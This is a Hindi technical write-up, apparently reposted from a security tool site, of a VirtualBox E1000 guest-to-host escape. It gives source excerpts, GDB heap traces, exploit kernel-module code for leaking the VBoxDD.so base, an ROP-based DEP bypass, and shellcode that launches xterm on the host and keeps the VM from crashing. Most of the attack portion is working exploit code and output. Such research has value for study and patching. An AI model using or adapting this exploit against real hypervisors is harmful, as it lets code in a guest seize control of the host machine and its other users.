हम उनका दुरुपयोग कैसे कर सकते हैं? E1000, EEPROM को लागू करता है, जो द्वितीयक एडाप्टर मेमोरी है। गेस्ट OS इसे E1000 MMIO रजिस्टरों के माध्यम से एक्सेस कर सकता है। EEPROM को एक सीमित ऑटोमेटन के रूप में लागू किया गया है जिसमें कई अवस्थाएँ हैं और यह चार क्रियाएँ करता है। हम केवल "मेमोरी में लिखना" में रुचि रखते हैं। यह इस प्रकार दिखता है (src/VBox/Devices/Network/DevEEPROM.cpp):```c
EEPROM93C46::State EEPROM93C46::opWrite()
{
    storeWord(m_u16Addr, m_u16Word);
    return WAITING_CS_FALL;
}

void EEPROM93C46::storeWord(uint32_t u32Addr, uint16_t u16Value)
{
    if (m_fWriteEnabled) {
        E1kLog(("EEPROM: Stored word %04x at %08x\n", u16Value, u32Addr));
        m_au16Data[u32Addr] = u16Value;
    }
    m_u16Mask = DATA_MSB;
}

यहाँ m_u16Addr, m_u16Word, और m_fWriteEnabled, EEPROM93C46 संरचना के क्षेत्र हैं जिन्हें हम नियंत्रित करते हैं। हम उन्हें इस तरह से विकृत कर सकते हैं कि```c m_au16Data[u32Addr] = u16Value;

root@kitploit:~
कथन m_au16Data से मनमाने 16-बिट ऑफ़सेट पर दो बाइट्स लिखेगा जो संरचना में भी स्थित हैं। हमने एक राइट प्रिमिटिव पाया है।

#### रीड प्रिमिटिव
अगली समस्या हीप पर डेटा संरचनाओं को खोजना था जिसमें मनमाना डेटा लिखा जा सके, मुख्य लक्ष्य एक साझा लाइब्रेरी पॉइंटर को लीक करना और इसका इमेज बेस प्राप्त करना था। उम्मीद है कि एक अस्थिर हीप स्प्रे करने की आवश्यकता नहीं थी क्योंकि वर्चुअल डिवाइसों की मुख्य डेटा संरचनाएं एक आंतरिक हाइपरवाइज़र हीप से इस तरह आवंटित होती प्रतीत हुईं कि उनके बीच की दूरी हमेशा स्थिर रहती है, भले ही उनके वर्चुअल पते, निश्चित रूप से, ASLR द्वारा यादृच्छिक किए गए हों।

जब एक वर्चुअल मशीन लॉन्च की जाती है, तो PDM (प्लगेबल डिवाइस और ड्राइवर मैनेजर) उपप्रणाली हाइपरवाइज़र हीप में PDMDEVINS ऑब्जेक्ट आवंटित करती है।```c
int pdmR3DevInit(PVM pVM)
{
...
        PPDMDEVINS pDevIns;
        if (paDevs[i].pDev->pReg->fFlags & (PDM_DEVREG_FLAGS_RC | PDM_DEVREG_FLAGS_R0))
            rc = MMR3HyperAllocOnceNoRel(pVM, cb, 0, MM_TAG_PDM_DEVICE, (void **)&pDevIns);
        else
            rc = MMR3HeapAllocZEx(pVM, MM_TAG_PDM_DEVICE, cb, (void **)&pDevIns);
...

मैंने GDB के तहत एक स्क्रिप्ट का उपयोग करके उस कोड को ट्रेस किया और ये परिणाम प्राप्त किए:``` [trace-device-constructors] Constructing a device #0x0: [trace-device-constructors] Name: "pcarch", '\000' <repeats 25 times> [trace-device-constructors] Description: 0x7fc44d6f125a "PC Architecture Device" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d57517b <pcarchConstruct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc45486c1b0 [trace-device-constructors] Data size: 0x8

[trace-device-constructors] Constructing a device #0x1: [trace-device-constructors] Name: "pcbios", '\000' <repeats 25 times> [trace-device-constructors] Description: 0x7fc44d6ef37b "PC BIOS Device" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d56bd3b <pcbiosConstruct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc45486c720 [trace-device-constructors] Data size: 0x11e8

...

[trace-device-constructors] Constructing a device #0xe: [trace-device-constructors] Name: "e1000", '\000' <repeats 26 times> [trace-device-constructors] Description: 0x7fc44d70c6d0 "Intel PRO/1000 MT Desktop Ethernet.\n" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d622969 <e1kR3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc470083400 [trace-device-constructors] Data size: 0x53a0

[trace-device-constructors] Constructing a device #0xf: [trace-device-constructors] Name: "ichac97", '\000' <repeats 24 times> [trace-device-constructors] Description: 0x7fc44d716ac0 "ICH AC'97 Audio Controller" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d66a90f <ichac97R3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc470088b00 [trace-device-constructors] Data size: 0x1848

[trace-device-constructors] Constructing a device #0x10: [trace-device-constructors] Name: "usb-ohci", '\000' <repeats 23 times> [trace-device-constructors] Description: 0x7fc44d707025 "OHCI USB controller.\n" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d5ea841 <ohciR3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc47008a4e0 [trace-device-constructors] Data size: 0x1728

[trace-device-constructors] Constructing a device #0x11: [trace-device-constructors] Name: "acpi", '\000' <repeats 27 times> [trace-device-constructors] Description: 0x7fc44d6eced8 "Advanced Configuration and Power Interface" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d563431 <acpiR3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc47008be70 [trace-device-constructors] Data size: 0x1570

[trace-device-constructors] Constructing a device #0x12: [trace-device-constructors] Name: "GIMDev", '\000' <repeats 25 times> [trace-device-constructors] Description: 0x7fc44d6f17fa "VirtualBox GIM Device" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d575cde <gimdevR3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc47008dba0 [trace-device-constructors] Data size: 0x90

[trace-device-constructors] Instances: [trace-device-constructors] #0x0 Address: 0x7fc45486c1b0 [trace-device-constructors] #0x1 Address 0x7fc45486c720 differs from previous by 0x570 [trace-device-constructors] #0x2 Address 0x7fc4700685f0 differs from previous by 0x1b7fbed0 [trace-device-constructors] #0x3 Address 0x7fc4700696d0 differs from previous by 0x10e0 [trace-device-constructors] #0x4 Address 0x7fc47006a0d0 differs from previous by 0xa00 [trace-device-constructors] #0x5 Address 0x7fc47006a450 differs from previous by 0x380 [trace-device-constructors] #0x6 Address 0x7fc47006a920 differs from previous by 0x4d0 [trace-device-constructors] #0x7 Address 0x7fc47006ad50 differs from previous by 0x430 [trace-device-constructors] #0x8 Address 0x7fc47006b240 differs from previous by 0x4f0 [trace-device-constructors] #0x9 Address 0x7fc4548ec9a0 differs from previous by 0x-1b77e8a0 [trace-device-constructors] #0xa Address 0x7fc470075f90 differs from previous by 0x1b7895f0 [trace-device-constructors] #0xb Address 0x7fc488022000 differs from previous by 0x17fac070 [trace-device-constructors] #0xc Address 0x7fc47007cf80 differs from previous by 0x-17fa5080 [trace-device-constructors] #0xd Address 0x7fc4700820f0 differs from previous by 0x5170 [trace-device-constructors] #0xe Address 0x7fc470083400 differs from previous by 0x1310 [trace-device-constructors] #0xf Address 0x7fc470088b00 differs from previous by 0x5700 [trace-device-constructors] #0x10 Address 0x7fc47008a4e0 differs from previous by 0x19e0 [trace-device-constructors] #0x11 Address 0x7fc47008be70 differs from previous by 0x1990 [trace-device-constructors] #0x12 Address 0x7fc47008dba0 differs from previous by 0x1d30

root@kitploit:~
E1000 डिवाइस को #0xE स्थिति पर ध्यान दें। दूसरी सूची में देखा जा सकता है कि अगला डिवाइस E1000 से 0x5700 ऑफसेट पर है, उसके बाद वाला 0x19E0 पर है, और इसी प्रकार आगे। हम पहले ही कह चुके हैं कि ये दूरियाँ हमेशा समान रहती हैं, और यही हमारा शोषण का अवसर है।

E1000 के बाद आने वाले डिवाइस ICH IC'97, OHCI, ACPI, VirtualBox GIM हैं। उनके डेटा संरचनाओं को सीखकर मैंने राइट प्रिमिटिव का उपयोग करने का तरीका समझ लिया।

वर्चुअल मशीन के बूट अप पर ACPI डिवाइस बनाया जाता है (src/VBox/Devices/PC/DevACPI.cpp):```c
typedef struct ACPIState
{
...
    uint8_t             au8SMBusBlkDat[32];
    uint8_t             u8SMBusBlkIdx;
    uint32_t            uPmTimeOld;
    uint32_t            uPmTimeA;
    uint32_t            uPmTimeB;
    uint32_t            Alignment5;
} ACPIState;

ACPI पोर्ट इनपुट/आउटपुट हैंडलर 0x4100-0x410F रेंज के लिए पंजीकृत है। 0x4107 पोर्ट के मामले में हमारे पास है:```c PDMBOTHCBDECL(int) acpiR3SMBusRead(PPDMDEVINS pDevIns, void *pvUser, RTIOPORT Port, uint32_t *pu32, unsigned cb) { RT_NOREF1(pDevIns); ACPIState *pThis = (ACPIState *)pvUser; ... switch (off) { ... case SMBBLKDAT_OFF: *pu32 = pThis->au8SMBusBlkDat[pThis->u8SMBusBlkIdx]; pThis->u8SMBusBlkIdx++; pThis->u8SMBusBlkIdx &= sizeof(pThis->au8SMBusBlkDat) - 1; break; ...

root@kitploit:~
जब गेस्ट OS INB(0x4107) निर्देश को निष्पादित करता है ताकि पोर्ट से एक बाइट पढ़ी जा सके, तो हैंडलर au8SMBusBlkDat[32] ऐरे से u8SMBusBlkIdx इंडेक्स पर एक बाइट लेता है और उसे गेस्ट को लौटाता है। और इस प्रकार राइट प्रिमिटिव को लागू किया जाता है: चूंकि वर्चुअल डिवाइस हीप ब्लॉकों के बीच की दूरी स्थिर होती है, इसलिए EEPROM93C46.m_au16Data ऐरे से ACPIState.u8SMBusBlkIdx तक की दूरी भी स्थिर होती है। ACPIState.u8SMBusBlkIdx में दो बाइट लिखकर हम ACPIState.au8SMBusBlkDat से 255 बाइट्स की सीमा में मनमाना डेटा पढ़ सकते हैं।

एक बाधा है। ACPIState संरचना को देखने पर पता चलता है कि ऐरे संरचना के अंत में रखा गया है। शेष फ़ील्ड लीक करने के लिए बेकार हैं। तो देखते हैं कि संरचना के बाद क्या पाया जा सकता है:```
gef➤  x/16gx (ACPIState*)(0x7fc47008be70+0x100)+1
0x7fc47008d4e0:	0xffffe98100000090	0xfffd9b2000000000
0x7fc47008d4f0:	0x00007fc470067a00	0x00007fc470067a00
0x7fc47008d500:	0x00000000a0028a00	0x00000000000e0000
0x7fc47008d510:	0x00000000000e0fff	0x0000000000001000
0x7fc47008d520:	0x000000ff00000002	0x0000100000000000
0x7fc47008d530:	0x00007fc47008c358	0x00007fc44d6ecdc6
0x7fc47008d540:	0x0031000035944000	0x00000000000002b8
0x7fc47008d550:	0x00280001d3878000	0x0000000000000000
gef➤  x/s 0x00007fc44d6ecdc6
0x7fc44d6ecdc6:	"ACPI RSDP"
gef➤  vmmap VBoxDD.so
Start                           End                             Offset                          Perm Path
0x00007fc44d4f3000 0x00007fc44d768000 0x0000000000000000 r-x /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d768000 0x00007fc44d968000 0x0000000000275000 --- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d968000 0x00007fc44d977000 0x0000000000275000 r-- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d977000 0x00007fc44d980000 0x0000000000284000 rw- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
gef➤  p 0x00007fc44d6ecdc6 - 0x00007fc44d4f3000
$2 = 0x1f9dc6

ऐसा प्रतीत होता है कि VBoxDD.so इमेज बेस से एक निश्चित ऑफसेट पर एक स्ट्रिंग की ओर इशारा करता हुआ एक पॉइंटर रखा गया है। पॉइंटर ACPIState के अंत में 0x58 ऑफसेट पर स्थित है। हम प्राइमिटिव का उपयोग करके उस पॉइंटर को बाइट-दर-बाइट पढ़ सकते हैं और अंततः VBoxDD.so इमेज बेस प्राप्त कर सकते हैं। हम बस यह उम्मीद करते हैं कि ACPIState संरचना के बाद का डेटा प्रत्येक वर्चुअल मशीन बूट पर यादृच्छिक नहीं होता। उम्मीद है, ऐसा नहीं है; 0x58 ऑफसेट पर पॉइंटर हमेशा मौजूद रहता है।

सूचना रिसाव

अब हम राइट और रीड प्राइमिटिव को जोड़ते हैं और ASLR को बायपास करने के लिए उनका शोषण करते हैं। हम EEPROM93C46 संरचना को अधिलेखित करते हुए हीप को ओवरफ्लो करेंगे, फिर इंडेक्स को ACPIState संरचना में लिखने के लिए EEPROM परिमित ऑटोमेटन को ट्रिगर करेंगे, और फिर पॉइंटर के एक बाइट को पढ़ने के लिए गेस्ट में INB(0x4107) निष्पादित करेंगे। इंडेक्स को 1 से बढ़ाते हुए इसे 8 बार दोहराएं।```c uint64_t stage_1_main(void* mmio, void* tx_ring) { printk(KERN_INFO PFX"##### Stage 1 #####\n");

root@kitploit:~
// When loopback mode is enabled data (network packets actually) of every Tx Data Descriptor 
// is sent back to the guest and handled right now via e1kHandleRxPacket.
// When loopback mode is disabled data is sent to a network as usual.
// We disable loopback mode here, at Stage 1, to overflow the heap but not touch the stack buffer
// in e1kHandleRxPacket. Later, at Stage 2 we enable loopback mode to overflow heap and 
// the stack buffer.
e1000_disable_loopback_mode(mmio);

uint8_t leaked_bytes[8];
uint32_t i;
for (i = 0; i < 8; i++) {
    stage_1_overflow_heap_buffer(mmio, tx_ring, i);
    leaked_bytes[i] = stage_1_leak_byte();

    printk(KERN_INFO PFX"Byte %d leaked: 0x%02X\n", i, leaked_bytes[i]);
}

uint64_t leaked_vboxdd_ptr = *(uint64_t*)leaked_bytes;
uint64_t vboxdd_base = leaked_vboxdd_ptr - LEAKED_VBOXDD_RVA;
printk(KERN_INFO PFX"Leaked VBoxDD.so pointer: 0x%016llx\n", leaked_vboxdd_ptr);
printk(KERN_INFO PFX"Leaked VBoxDD.so base: 0x%016llx\n", vboxdd_base);

return vboxdd_base;

}

root@kitploit:~
यह कहा गया है कि पूर्णांक अंडरफ़्लो को स्टैक बफ़र ओवरफ़्लो की ओर ले जाने से रोकने के लिए, कुछ E1000 रजिस्टरों को कॉन्फ़िगर किया जाना चाहिए। विचार यह है कि बफ़र का ओवरफ़्लो e1kHandleRxPacket फ़ंक्शन में हो रहा है, जिसे लूपबैक मोड में Tx डिस्क्रिप्टर को हैंडल करते समय कॉल किया जाता है। वास्तव में, लूपबैक मोड में गेस्ट अपने आप को नेटवर्क पैकेट भेजता है, इसलिए उन्हें भेजने के तुरंत बाद प्राप्त किया जाता है। हम इस मोड को अक्षम करते हैं ताकि e1kHandleRxPacket तक पहुँच संभव न हो।

### DEP Bypass
हमने ASLR को बाईपास कर दिया है। अब लूपबैक मोड को सक्षम किया जा सकता है और स्टैक बफ़र ओवरफ़्लो को ट्रिगर किया जा सकता है।```c
void stage_2_overflow_heap_and_stack_buffers(void* mmio, void* tx_ring, uint64_t vboxdd_base) {
    off_t buffer_pa;
    void* buffer_va;
    alloc_buffer(&buffer_pa, &buffer_va);

    stage_2_set_up_buffer(buffer_va, vboxdd_base);
    stage_2_trigger_overflow(mmio, tx_ring, buffer_pa);

    free_buffer(buffer_va);
}

void stage_2_main(void* mmio, void* tx_ring, uint64_t vboxdd_base) {
    printk(KERN_INFO PFX"##### Stage 2 #####\n");

    e1000_enable_loopback_mode(mmio);
    stage_2_overflow_heap_and_stack_buffers(mmio, tx_ring, vboxdd_base);
    e1000_disable_loopback_mode(mmio);
}

अभी के लिए, जब e1kHandleRxPacket का अंतिम निर्देश निष्पादित होता है, तो सहेजा गया रिटर्न पता अधिलेखित हो जाता है और नियंत्रण हमलावर की इच्छानुसार कहीं भी स्थानांतरित हो जाता है। लेकिन DEP अभी भी मौजूद है। इसे ROP श्रृंखला बनाने के शास्त्रीय तरीके से बायपास किया जाता है। ROP गैजेट निष्पादन योग्य मेमोरी आवंटित करते हैं, एक शेलकोड लोडर को उसमें कॉपी करते हैं और इसे निष्पादित करते हैं।

Shellcode

शेलकोड लोडर तुच्छ है। यह ओवरफ्लो बफर की शुरुआत को अपने बगल में कॉपी करता है।```asm use64

start: lea rsi, [rsp - 0x4170]; push rax pop rdi add rdi, loader_size mov rcx, 0x800 rep movsb nop

payload: ; Here the shellcode is to be

loader_size = $ - start

root@kitploit:~
shellcode निष्पादित किया जाता है। इसका पहला भाग है:```asm
use64

start:
    ; sys_fork
    mov rax, 58
    syscall

    test rax, rax
    jnz continue_process_execution

    ; Initialize argv
    lea rsi, [cmd]
    mov [argv], rsi

    ; Initialize envp
    lea rsi, [env]
    mov [envp], rsi

    ; sys_execve
    lea rdi, [cmd]
    lea rsi, [argv]
    lea rdx, [envp]
    mov rax, 59
    syscall

...

cmd     db '/usr/bin/xterm', 0
env     db 'DISPLAY=:0.0', 0
argv    dq 0, 0
envp    dq 0, 0

यह /usr/bin/xterm प्रक्रिया बनाने के लिए fork और execve का उपयोग करता है। हमलावर होस्ट के ring 3 पर नियंत्रण प्राप्त कर लेता है।

प्रक्रिया जारी रखना

मेरा मानना है कि हर एक्सप्लॉइट को पूरा होना चाहिए। इसका मतलब है कि इसे एप्लिकेशन को क्रैश नहीं करना चाहिए, हालांकि निश्चित रूप से यह हमेशा संभव नहीं होता। हमें वर्चुअल मशीन को निष्पादन जारी रखने की आवश्यकता है, जो शेलकोड के दूसरे भाग द्वारा प्राप्त किया जाता है।```asm continue_process_execution: ; Restore RBP mov rbp, rsp add rbp, 0x48

root@kitploit:~
; Skip junk
add rsp, 0x10

; Restore the registers that must be preserved according to System V ABI
pop rbx
pop r12
pop r13
pop r14
pop r15

; Skip junk
add rsp, 0x8

; Fix the linked list of PDMQUEUE to prevent segfaults on VM shutdown
; Before:   "E1000-Xmit" -> "E1000-Rcv" -> "Mouse_1" -> NULL
; After:    "E1000-Xmit" -> NULL

; Zero out the entire PDMQUEUE "Mouse_1" pointed by "E1000-Rcv"
; This was unnecessary on my testing machines but to be sure...
mov rdi, [rbx]
mov rax, 0x0
mov rcx, 0xA0
rep stosb

; NULL out a pointer to PDMQUEUE "E1000-Rcv" stored in "E1000-Xmit"
; because the first 8 bytes of "E1000-Rcv" (a pointer to "Mouse_1") 
; will be corrupted in MMHyperFree
mov qword [rbx], 0x0

; Now the last PDMQUEUE is "E1000-Xmit" which will not be corrupted

ret
root@kitploit:~
जब e1kHandleRxPacket को कॉल किया जाता है, तो एक कॉलस्टैक है:```
#0 e1kHandleRxPacket
#1 e1kTransmitFrame
#2 e1kXmitDesc
#3 e1kXmitPacket
#4 e1kXmitPending
#5 e1kR3NetworkDown_XmitPending
...

हम सीधे e1kR3NetworkDown_XmitPending पर जाएंगे जो कुछ और नहीं करता और एक हाइपरवाइजर फंक्शन पर वापस लौटता है।```c static DECLCALLBACK(void) e1kR3NetworkDown_XmitPending(PPDMINETWORKDOWN pInterface) { PE1KSTATE pThis = RT_FROM_MEMBER(pInterface, E1KSTATE, INetworkDown); /* Resume suspended transmission */ STATUS &= ~STATUS_TXOFF; e1kXmitPending(pThis, true /fOnWorkerThread/); }

root@kitploit:~
शेलकोड RBP में 0x48 जोड़ता है ताकि यह e1kR3NetworkDown_XmitPending में जैसा होना चाहिए वैसा हो जाए। इसके बाद, रजिस्टर RBX, R12, R13, R14, R15 को स्टैक से लिया जाता है क्योंकि System V ABI के अनुसार कैली फंक्शन में इन्हें संरक्षित करना आवश्यक है। यदि ऐसा नहीं किया जाता, तो हाइपरवाइज़र उनमें अमान्य पॉइंटर्स के कारण क्रैश हो जाएगा।

यह पर्याप्त हो सकता है क्योंकि वर्चुअल मशीन अब क्रैश नहीं हो रही है और निष्पादित होती रहती है। लेकिन जब VM शट डाउन किया जाता है, तो PDMR3QueueDestroyDevice फंक्शन में एक एक्सेस उल्लंघन होगा। इसका कारण यह है कि जब हीप ओवरफ्लो होता है, तो एक महत्वपूर्ण संरचना PDMQUEUE ओवरराइट हो जाती है। इसके अलावा, यह अंतिम दो ROP गैजेट्स यानी अंतिम 16 बाइट्स द्वारा ओवरराइट होती है। मैंने ROP चेन का आकार कम करने का प्रयास किया और असफल रहा, लेकिन जब मैंने डेटा को मैन्युअल रूप से बदला, तब भी हाइपरवाइज़र क्रैश हो रहा था। इसका मतलब था कि बाधा उतनी स्पष्ट नहीं है जितनी लगती थी।

जो डेटा संरचना ओवरराइट हो रही है वह एक लिंक्ड लिस्ट है। ओवरराइट किया जाने वाला डेटा अंतिम दूसरे लिस्ट एलिमेंट में है; एक अगला पॉइंटर ओवरराइट होने वाला है। उपाय सरल निकला:```
; Fix the linked list of PDMQUEUE to prevent segfaults on VM shutdown
; Before:   "E1000-Xmit" -> "E1000-Rcv" -> "Mouse_1" -> NULL
; After:    "E1000-Xmit" -> NULL

अंतिम दो तत्वों से छुटकारा पाने से वर्चुअल मशीन सुचारू रूप से बंद हो सकती है।

डेमो

https://vimeo.com/299325088

टूल डाउनलोड करें